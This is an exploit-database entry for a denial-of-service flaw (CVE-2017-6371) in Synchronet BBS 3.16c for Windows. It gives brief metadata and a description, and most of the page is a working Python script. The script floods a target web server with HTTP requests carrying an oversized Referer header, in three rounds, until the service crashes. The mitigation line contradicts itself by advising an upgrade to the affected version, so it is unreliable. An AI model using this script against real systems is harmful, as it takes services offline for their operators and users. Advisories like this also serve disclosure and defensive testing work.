Synchronet BBS 3.16c for Windows – Multiple vulnerabilities

vendor:

Synchronet BBS

by:

Peter Baris

7,5

CVSS

HIGH

Multiple vulnerabilities

CWE

Product Name: Synchronet BBS

Affected Version From: 3.16c

Affected Version To: 3.16c

Patch Exists: YES

Related CWE: CVE-2017-6371

CPE: a:saptech-erp:synchronet_bbs:3.16c

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Pro SP1 x64, Windows Server 2008 R2 Standard x64

2017

Synchronet BBS 3.16c for Windows – Multiple vulnerabilities

A vulnerability in Synchronet BBS 3.16c for Windows allows an attacker to cause a denial of service (DoS) condition by sending a specially crafted HTTP request. The vulnerability is due to improper handling of certain HTTP requests. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. Successful exploitation of this vulnerability could result in a DoS condition.

Mitigation:

Upgrade to the latest version of Synchronet BBS 3.16c for Windows.

Source

Exploit-DB raw data:

# Exploit Title: Synchronet BBS 3.16c for Windows – Multiple vulnerabilities
# Date: 2017-02-28
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: ftp://synchro.net/Synchronet/sbbs316c.zip
# Version: 3.16c for Windows
# Tested on: Windows 7 Pro SP1 x64, Windows Server 2008 R2 Standard x64 
# CVE : CVE-2017-6371

import socket
import time
import sys

try:
    host = sys.argv[1]
    port = 80
except IndexError:
    print "[+] Usage %s <host>  " % sys.argv[0]
    sys.exit()


exploit = "\x41"*4096

buffer = "GET /index.ssjs HTTP/1.1\r\n"
buffer+= "Host: 192.168.198.129\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: "+exploit+"\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"

i = 1
while i < 957:
	try:
		s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		connect=s.connect((host,port))
		print("[*] Try: "+str(i))
		s.send(buffer)
		s.close()
		i=i+1
	except:
		print("[-] The service seems to be down\r\n")
		break


print("[i] Waiting a few seconds before starting a second attack.\r\n")
time.sleep(25)
print("[*] Second run to trigger the DoS")
i = 1
while i < 957:
        try:
		s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                connect=s.connect((host,port))
                print("[*] Try: "+str(i))
                s.send(buffer)
                s.close()
                i=i+1
        except:
                print("[-] The service seems to be down.\r\n")
                break

print("[i] Wait before the final strike.\r\n")
time.sleep(25)
print("[*] Third run to trigger the DoS")
i = 1
while i < 957:
        try:
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                connect=s.connect((host,port))
                print("[*] Try: "+str(i))
                s.send(buffer)
                s.close()
                i=i+1
        except:
                print("[-] The service seems to be down.\r\n")
                print("[!] It can take a few seconds for the service to crash\r\n")
                break